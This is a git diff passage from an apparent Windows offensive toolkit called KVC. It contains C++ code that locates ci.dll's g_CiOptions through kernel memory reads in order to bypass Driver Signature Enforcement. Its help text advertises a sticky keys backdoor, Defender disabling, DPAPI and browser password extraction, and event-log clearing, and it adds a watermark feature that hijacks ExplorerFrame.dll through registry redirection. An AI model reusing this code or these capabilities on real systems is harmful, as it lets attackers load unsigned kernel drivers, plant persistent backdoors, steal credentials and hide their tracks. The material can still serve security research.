11, // SystemModuleInformation
|
||||
modules,
|
||||
bufferSize,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] Found %d kernel modules", modules->Count);
|
||||
|
||||
// Debug: Show first 10 modules for diagnostic purposes
|
||||
DEBUG(L"[DSE] Listing first 10 kernel modules:");
|
||||
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) fileName++;
|
||||
else fileName = mod.ImageName;
|
||||
|
||||
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
|
||||
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
|
||||
}
|
||||
|
||||
// Search for target module by name
|
||||
for (ULONG i = 0; i < modules->Count; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
|
||||
// Extract filename from full path
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) {
|
||||
fileName++; // Skip backslash
|
||||
} else {
|
||||
fileName = mod.ImageName;
|
||||
}
|
||||
|
||||
if (_stricmp(fileName, moduleName) == 0) {
|
||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
// Validate base address is not NULL
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
||||
continue; // Keep searching in case of duplicates
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
// Get CiPolicy section information
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||
// This is a documented offset used by all DSE bypass tools
|
||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||
|
||||
// Verify we can read from this address
|
||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!currentValue) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
return ciOptionsAddr;
|
||||
}
|
||||
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
|
||||
// Read DOS header (MZ signature)
|
||||
auto dosHeader = m_rtc->Read16(moduleBase);
|
||||
if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ"
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get PE header offset (e_lfanew)
|
||||
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
|
||||
if (!e_lfanew || e_lfanew.value() > 0x1000) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
|
||||
|
||||
// Verify PE signature
|
||||
auto peSignature = m_rtc->Read32(ntHeaders);
|
||||
if (!peSignature || peSignature.value() != 0x4550) { // "PE"
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get section count
|
||||
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
|
||||
if (!numSections || numSections.value() > 50) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
|
||||
if (!sizeOfOptionalHeader) return std::nullopt;
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
// Debug: List all sections for diagnostic purposes
|
||||
DEBUG(L"[DSE] Listing ALL sections in ci.dll:");
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name (8 bytes)
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
|
||||
|
||||
if (virtualSize && virtualAddr && characteristics) {
|
||||
DWORD chars = characteristics.value();
|
||||
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
|
||||
|
||||
DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
|
||||
i, name, virtualAddr.value(), virtualSize.value(), chars,
|
||||
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
|
||||
}
|
||||
}
|
||||
|
||||
// Search for CiPolicy section specifically
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
// Look for CiPolicy section by name
|
||||
if (strcmp(name, "CiPolicy") == 0) {
|
||||
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
virtualAddr.value(), virtualSize.value());
|
||||
|
||||
return std::make_pair(
|
||||
moduleBase + virtualAddr.value(),
|
||||
static_cast<SIZE_T>(virtualSize.value())
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
|
||||
// Simplified validation - address should be within module bounds
|
||||
// Maximum reasonable module size is 2MB
|
||||
return (addr > moduleBase && addr < moduleBase + 0x200000);
|
||||
}
|
||||
|
||||
DWORD DSEBypass::GetWindowsBuild() noexcept {
|
||||
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
|
||||
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
|
||||
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
|
||||
|
||||
if (RtlGetVersion) {
|
||||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
|
||||
return osInfo.dwBuildNumber;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -23,6 +23,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
|
||||
PrintDefenderCommands();
|
||||
PrintSecurityEngineCommands();
|
||||
PrintDPAPICommands();
|
||||
PrintWatermarkCommands();
|
||||
PrintProtectionTypes();
|
||||
PrintExclusionTypes();
|
||||
PrintPatternMatching();
|
||||
@@ -226,6 +227,17 @@ void HelpSystem::PrintDPAPICommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintWatermarkCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Watermark Management");
|
||||
PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)");
|
||||
PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)");
|
||||
PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)");
|
||||
PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection");
|
||||
PrintNote(L"Requires Administrator privileges and TrustedInstaller access");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintProtectionTypes() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Protection Types");
|
||||
@@ -371,6 +383,12 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
|
||||
printLine(L"kvc dse on", L"Re-enable DSE for system security");
|
||||
printLine(L"kvc dse", L"Check current DSE status");
|
||||
|
||||
// Watermark management
|
||||
printLine(L"kvc wm status", L"Check if watermark is removed or active");
|
||||
printLine(L"kvc wm remove", L"Remove Windows desktop watermark");
|
||||
printLine(L"kvc wm restore", L"Restore original Windows watermark");
|
||||
printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')");
|
||||
|
||||
// System backdoors
|
||||
printLine(L"kvc shift", L"Install sticky keys backdoor");
|
||||
printLine(L"kvc unshift", L"Remove sticky keys backdoor");
|
||||
|
||||
424
kvc/HelpSystem.h
424
kvc/HelpSystem.h
@@ -1,425 +1,55 @@
|
||||
/**
|
||||
* @file HelpSystem.h
|
||||
* @brief Comprehensive help system with modular command documentation
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Provides formatted help output with color-coded sections, usage examples,
|
||||
* and detailed command explanations.
|
||||
* Modular design allows displaying specific help sections as needed.
|
||||
*/
|
||||
// HelpSystem.h
|
||||
// Comprehensive help system with modular command documentation
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <string_view>
|
||||
|
||||
/**
|
||||
* @class HelpSystem
|
||||
* @brief Comprehensive help system for KVC with modular command documentation
|
||||
*
|
||||
* Features:
|
||||
* - Color-coded section headers for readability
|
||||
* - Categorized command listings by functionality
|
||||
* - Detailed parameter explanations
|
||||
* - Usage examples with real scenarios
|
||||
* - Technical feature documentation
|
||||
* - Security notices and warnings
|
||||
*
|
||||
* Help Categories:
|
||||
* - Basic commands (help, list, info)
|
||||
* - Process protection (protect, unprotect, set)
|
||||
* - Process termination (kill)
|
||||
* - Windows Defender management
|
||||
* - DPAPI password extraction
|
||||
* - Browser credential extraction
|
||||
* - Service management
|
||||
* - Registry operations
|
||||
* - Security engine control
|
||||
*
|
||||
* @note Static class - no instantiation required
|
||||
* @note Uses ANSI color codes for enhanced readability
|
||||
*/
|
||||
// Static help system - no instantiation needed
|
||||
class HelpSystem
|
||||
{
|
||||
public:
|
||||
HelpSystem() = delete; ///< Constructor deleted - static class
|
||||
~HelpSystem() = delete; ///< Destructor deleted - static class
|
||||
HelpSystem() = delete;
|
||||
~HelpSystem() = delete;
|
||||
|
||||
// === Main Help Interface ===
|
||||
|
||||
/**
|
||||
* @brief Print complete usage information
|
||||
* @param programName Program name for display in examples
|
||||
*
|
||||
* Displays all help sections in organized format:
|
||||
* 1. Program header with version and author
|
||||
* 2. Basic command documentation
|
||||
* 3. Process protection commands
|
||||
* 4. System commands
|
||||
* 5. Process termination commands
|
||||
* 6. Windows Defender commands
|
||||
* 7. DPAPI extraction commands
|
||||
* 8. Browser extraction commands
|
||||
* 9. Service management commands
|
||||
* 10. Protection type explanations
|
||||
* 11. Usage examples
|
||||
* 12. Security notice and footer
|
||||
*
|
||||
* @note Comprehensive help covering all framework features
|
||||
*/
|
||||
// Main help interface
|
||||
static void PrintUsage(std::wstring_view programName) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print header with version and author info
|
||||
*
|
||||
* Displays KVC banner with ASCII art, version information,
|
||||
* author credits, and copyright notice.
|
||||
*
|
||||
* @note Uses color coding for visual appeal
|
||||
*/
|
||||
static void PrintHeader() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print basic command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - help: Display help information
|
||||
* - list: List protected processes
|
||||
* - info: Show process protection information
|
||||
*
|
||||
* @note Basic commands available without special privileges
|
||||
*/
|
||||
static void PrintBasicCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print process protection command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - protect: Add protection to unprotected process
|
||||
* - unprotect: Remove protection from process
|
||||
* - set: Force set protection level (overwrite)
|
||||
* - set-signer: Change protection for specific signer
|
||||
* - restore: Restore protection from session
|
||||
*
|
||||
* @note Requires driver and appropriate privileges
|
||||
*/
|
||||
static void PrintProtectionCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print system command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - dump: Dump process memory to file
|
||||
* - elevate: Elevate current process protection
|
||||
* - clear-logs: Clear Windows event logs
|
||||
*
|
||||
* @note Advanced operations requiring high privileges
|
||||
*/
|
||||
static void PrintSystemCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print process termination command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - kill: Terminate process with protection matching
|
||||
* - kill multiple: Terminate multiple processes
|
||||
*
|
||||
* @note Supports both PID and name-based targeting
|
||||
*/
|
||||
static void PrintProcessTerminationCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print Windows Defender command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - defender-enable: Enable Windows Defender exclusions
|
||||
* - defender-disable: Disable Windows Defender exclusions
|
||||
* - defender-add: Add specific exclusion
|
||||
* - defender-remove: Remove specific exclusion
|
||||
*
|
||||
* @note Requires TrustedInstaller privileges for some operations
|
||||
*/
|
||||
static void PrintDefenderCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print DPAPI extraction command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - extract-passwords: Extract passwords from Chrome/Edge/WiFi
|
||||
* - master-keys: Display extracted master keys
|
||||
* - decrypt: Decrypt specific DPAPI blob
|
||||
*
|
||||
* @note Requires TrustedInstaller privileges for registry access
|
||||
*/
|
||||
static void PrintDPAPICommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print browser credential extraction documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - chrome-passwords: Extract Chrome passwords only
|
||||
* - edge-passwords: Extract Edge passwords only
|
||||
* - browser-all: Extract from all supported browsers
|
||||
*
|
||||
* @note Uses SQLite and AES-GCM decryption for browser data
|
||||
*/
|
||||
static void PrintBrowserCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print service management command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - service-install: Install as Windows Service
|
||||
* - service-start: Start service
|
||||
* - service-stop: Stop service
|
||||
* - service-uninstall: Uninstall service
|
||||
*
|
||||
* @note Requires administrative privileges
|
||||
*/
|
||||
static void PrintServiceCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print protection type documentation
|
||||
*
|
||||
* Explains PP (Protected Process) and PPL (Protected Process Light)
|
||||
* concepts, including:
|
||||
* - Protection level differences
|
||||
* - Signer type authorities
|
||||
* - Signature verification levels
|
||||
* - Practical implications
|
||||
*
|
||||
* @note Technical background for protection operations
|
||||
*/
|
||||
static void PrintProtectionTypes() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print Defender exclusion type documentation
|
||||
*
|
||||
* Explains different exclusion types:
|
||||
* - Paths: File and folder exclusions
|
||||
* - Processes: Process name exclusions
|
||||
* - Extensions: File extension exclusions
|
||||
* - IPs: IP address exclusions
|
||||
*
|
||||
* @note Used with defender-add and defender-remove commands
|
||||
*/
|
||||
static void PrintExclusionTypes() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print pattern matching documentation
|
||||
*
|
||||
* Explains wildcard and regex support in process targeting:
|
||||
* - Partial name matching
|
||||
* - Case-insensitive matching
|
||||
* - Multiple target specification
|
||||
* - Comma-separated lists
|
||||
*
|
||||
* @note Used in process targeting commands
|
||||
*/
|
||||
static void PrintPatternMatching() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print technical features documentation
|
||||
*
|
||||
* Explains advanced technical features:
|
||||
* - Kernel offset discovery
|
||||
* - EPROCESS structure manipulation
|
||||
* - Driver communication
|
||||
* - TrustedInstaller integration
|
||||
* - Session state tracking
|
||||
*
|
||||
* @note For advanced users and developers
|
||||
*/
|
||||
static void PrintTechnicalFeatures() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print unknown command message
|
||||
* @param command Unknown command that was entered
|
||||
*
|
||||
* Displays friendly error message when unknown command is entered.
|
||||
* Suggests using 'help' command for available options.
|
||||
*
|
||||
* @note User-friendly error handling
|
||||
*/
|
||||
static void PrintUnknownCommandMessage(std::wstring_view command) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print Defender-specific notes and warnings
|
||||
*
|
||||
* Important information about Defender exclusion management:
|
||||
* - Real-time protection implications
|
||||
* - Exclusion persistence across reboots
|
||||
* - Security considerations
|
||||
* - Best practices
|
||||
*
|
||||
* @note Security-focused guidance
|
||||
*/
|
||||
static void PrintDefenderNotes() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print registry operation command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - registry-backup: Backup registry hives
|
||||
* - registry-restore: Restore registry hives
|
||||
* - registry-defrag: Defragment registry
|
||||
*
|
||||
* @note Requires TrustedInstaller privileges
|
||||
*/
|
||||
static void PrintRegistryCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print security engine command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - security-disable: Disable Windows Defender engine
|
||||
* - security-enable: Enable Windows Defender engine
|
||||
* - security-status: Check security engine status
|
||||
*
|
||||
* @note Advanced system modification - use with caution
|
||||
*/
|
||||
static void PrintSecurityEngineCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print DSE (Driver Signature Enforcement) command documentation
|
||||
*
|
||||
* Commands covered:
|
||||
* - dse off: Disable Driver Signature Enforcement
|
||||
* - dse on: Enable Driver Signature Enforcement
|
||||
* - dse: Check DSE status
|
||||
*
|
||||
* @note Modifying DSE is an advanced system operation and may cause instability or BSOD. Use with extreme caution.
|
||||
*/
|
||||
|
||||
static void PrintDSECommands() noexcept;
|
||||
|
||||
|
||||
/**
|
||||
* @brief Print session management documentation
|
||||
*
|
||||
* Explains boot session tracking and restoration:
|
||||
* - Session state persistence
|
||||
* - Automatic reboot detection
|
||||
* - Protection state restoration
|
||||
* - Session cleanup operations
|
||||
*
|
||||
* @note Cross-boot state tracking feature
|
||||
*/
|
||||
// Command category sections
|
||||
static void PrintServiceCommands() noexcept;
|
||||
static void PrintDSECommands() noexcept;
|
||||
static void PrintBasicCommands() noexcept;
|
||||
static void PrintProcessTerminationCommands() noexcept;
|
||||
static void PrintProtectionCommands() noexcept;
|
||||
static void PrintSessionManagement() noexcept;
|
||||
static void PrintSystemCommands() noexcept;
|
||||
static void PrintRegistryCommands() noexcept;
|
||||
static void PrintBrowserCommands() noexcept;
|
||||
static void PrintDefenderCommands() noexcept;
|
||||
static void PrintSecurityEngineCommands() noexcept;
|
||||
static void PrintDPAPICommands() noexcept;
|
||||
static void PrintWatermarkCommands() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print sticky keys backdoor documentation
|
||||
*
|
||||
* Installation, removal, and security warnings for:
|
||||
* - Sticky keys backdoor mechanism
|
||||
* - Security implications
|
||||
* - Installation procedure
|
||||
* - Removal procedure
|
||||
*
|
||||
* @warning Security risk - authorized use only
|
||||
*/
|
||||
// Documentation sections
|
||||
static void PrintProtectionTypes() noexcept;
|
||||
static void PrintExclusionTypes() noexcept;
|
||||
static void PrintPatternMatching() noexcept;
|
||||
static void PrintTechnicalFeatures() noexcept;
|
||||
static void PrintDefenderNotes() noexcept;
|
||||
static void PrintStickyKeysInfo() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print undumpable process documentation
|
||||
*
|
||||
* Lists processes with anti-dump protection:
|
||||
* - LSA protected processes
|
||||
- System critical processes
|
||||
* - Anti-malware protected processes
|
||||
* - Dumpability analysis results
|
||||
*
|
||||
* @note Processes that cannot be memory dumped
|
||||
*/
|
||||
static void PrintUndumpableProcesses() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print usage examples with real scenarios
|
||||
* @param programName Program name for display in examples
|
||||
*
|
||||
* Shows practical command combinations for common tasks:
|
||||
* - Process protection manipulation
|
||||
* - Password extraction
|
||||
* - System maintenance
|
||||
* - Debugging and analysis
|
||||
*
|
||||
* @note Real-world usage scenarios
|
||||
*/
|
||||
static void PrintUsageExamples(std::wstring_view programName) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print security notice and disclaimer
|
||||
*
|
||||
* Legal and ethical use warnings:
|
||||
* - Authorized testing only
|
||||
* - Legal compliance requirements
|
||||
* - Responsible disclosure
|
||||
* - Educational purposes
|
||||
*
|
||||
* @note Important legal and ethical considerations
|
||||
*/
|
||||
static void PrintSecurityNotice() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print footer with donation links
|
||||
*
|
||||
* Support information and donation links:
|
||||
* - PayPal donation link
|
||||
* - Revolut donation link
|
||||
* - Contact information
|
||||
* - Support acknowledgments
|
||||
*
|
||||
* @note Optional support for project development
|
||||
*/
|
||||
static void PrintFooter() noexcept;
|
||||
|
||||
private:
|
||||
// === Helper Methods for Consistent Formatting ===
|
||||
|
||||
/**
|
||||
* @brief Print color-coded section header
|
||||
* @param title Section title to display
|
||||
*
|
||||
* Formats section headers with yellow color for visibility
|
||||
* and consistent spacing.
|
||||
*
|
||||
* @note Internal formatting helper
|
||||
*/
|
||||
// Formatting helpers
|
||||
static void PrintSectionHeader(const wchar_t* title) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print formatted command line with description
|
||||
* @param command Command syntax
|
||||
* @param description Command description
|
||||
*
|
||||
* Displays command and description in aligned columns
|
||||
* for readability.
|
||||
*
|
||||
* @note Internal formatting helper
|
||||
*/
|
||||
static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print informational note
|
||||
* @param note Note text to display
|
||||
*
|
||||
* Formats informational notes with indentation and
|
||||
* "Note:" prefix.
|
||||
*
|
||||
* @note Internal formatting helper
|
||||
*/
|
||||
static void PrintNote(const wchar_t* note) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Print warning message
|
||||
* @param warning Warning text to display
|
||||
*
|
||||
* Formats warning messages with red color, indentation,
|
||||
* and "WARNING:" prefix.
|
||||
*
|
||||
* @note Internal formatting helper
|
||||
*/
|
||||
static void PrintWarning(const wchar_t* warning) noexcept;
|
||||
};
|
||||
BIN
kvc/ICON/kvc.ico
BIN
kvc/ICON/kvc.ico
Binary file not shown.
|
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 14 KiB |
33
kvc/Kvc.cpp
33
kvc/Kvc.cpp
@@ -1131,7 +1131,38 @@ int wmain(int argc, wchar_t* argv[])
|
||||
else if (command == L"evtclear") {
|
||||
return g_controller->ClearSystemEventLogs() ? 0 : 2;
|
||||
}
|
||||
|
||||
|
||||
// ====================================================================
|
||||
// WATERMARK MANAGEMENT
|
||||
// ====================================================================
|
||||
|
||||
else if (command == L"watermark" || command == L"wm") {
|
||||
if (argc < 3) {
|
||||
ERROR(L"Missing subcommand. Usage: kvc watermark <remove|restore|status>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring_view subCommand = argv[2];
|
||||
|
||||
if (subCommand == L"remove") {
|
||||
INFO(L"Removing Windows desktop watermark...");
|
||||
return g_controller->RemoveWatermark() ? 0 : 2;
|
||||
}
|
||||
else if (subCommand == L"restore") {
|
||||
INFO(L"Restoring Windows desktop watermark...");
|
||||
return g_controller->RestoreWatermark() ? 0 : 2;
|
||||
}
|
||||
else if (subCommand == L"status") {
|
||||
std::wstring status = g_controller->GetWatermarkStatus();
|
||||
INFO(L"Watermark status: %s", status.c_str());
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
ERROR(L"Unknown watermark subcommand: %s", subCommand.data());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// ====================================================================
|
||||
// UNKNOWN COMMAND
|
||||
// ====================================================================
|
||||
|
||||
@@ -129,6 +129,7 @@
|
||||
<ClCompile Include="kvcDrv.cpp" />
|
||||
<ClCompile Include="Utils.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="WatermarkManager.cpp" />
|
||||
<ClCompile Include="HiveManager.cpp" />
|
||||
<ClCompile Include="ReportExporter.cpp" />
|
||||
<ClCompile Include="SessionManager.cpp" />
|
||||
@@ -148,6 +149,7 @@
|
||||
<ClInclude Include="OffsetFinder.h" />
|
||||
<ClInclude Include="kvcDrv.h" />
|
||||
<ClInclude Include="Utils.h" />
|
||||
<ClInclude Include="WatermarkManager.h" />
|
||||
<ClInclude Include="HiveManager.h" />
|
||||
<ClInclude Include="ReportExporter.h" />
|
||||
<ClInclude Include="SessionManager.h" />
|
||||
|
||||
@@ -57,19 +57,22 @@
|
||||
<ClCompile Include="ControllerPasswordManager.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerEventLogOperations.cpp">
|
||||
<ClCompile Include="DSEBypass.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerDSE.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerBinaryManager.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerDSE.cpp">
|
||||
<ClCompile Include="ControllerEventLogOperations.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="DSEBypass.cpp">
|
||||
<ClCompile Include="ProcessManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ProcessManager.cpp">
|
||||
<ClCompile Include="WatermarkManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HiveManager.cpp">
|
||||
@@ -116,6 +119,12 @@
|
||||
<ClInclude Include="ReportExporter.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DSEBypass.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="WatermarkManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HiveManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
@@ -137,17 +146,6 @@
|
||||
<ClInclude Include="ProcessManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DSEBypass.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="MmPoolTelemetry.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
<MASM Include="ScreenShake.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="ICON\kvc.ico">
|
||||
@@ -159,9 +157,4 @@
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="kvc.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
254
kvc/Utils.cpp
254
kvc/Utils.cpp
@@ -18,6 +18,8 @@
|
||||
#include <iomanip>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <fdi.h>
|
||||
#pragma comment(lib, "cabinet.lib")
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
@@ -1023,4 +1025,256 @@ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
|
||||
return ProcessColors::YELLOW;
|
||||
}
|
||||
|
||||
#include <fdi.h>
|
||||
#pragma comment(lib, "cabinet.lib")
|
||||
|
||||
// ============================================================================
|
||||
// CAB DECOMPRESSION
|
||||
// ============================================================================
|
||||
|
||||
// FDI callback structures
|
||||
struct MemoryReadContext {
|
||||
const BYTE* data;
|
||||
size_t size;
|
||||
size_t offset;
|
||||
};
|
||||
|
||||
// Global context for FDI callbacks
|
||||
static MemoryReadContext* g_cabContext = nullptr;
|
||||
static std::vector<BYTE>* g_currentFileData = nullptr;
|
||||
|
||||
// FDI memory allocation
|
||||
static void* DIAMONDAPI fdi_alloc(ULONG cb) {
|
||||
return malloc(cb);
|
||||
}
|
||||
|
||||
// FDI memory deallocation
|
||||
static void DIAMONDAPI fdi_free(void* pv) {
|
||||
free(pv);
|
||||
}
|
||||
|
||||
// FDI file open - returns memory context
|
||||
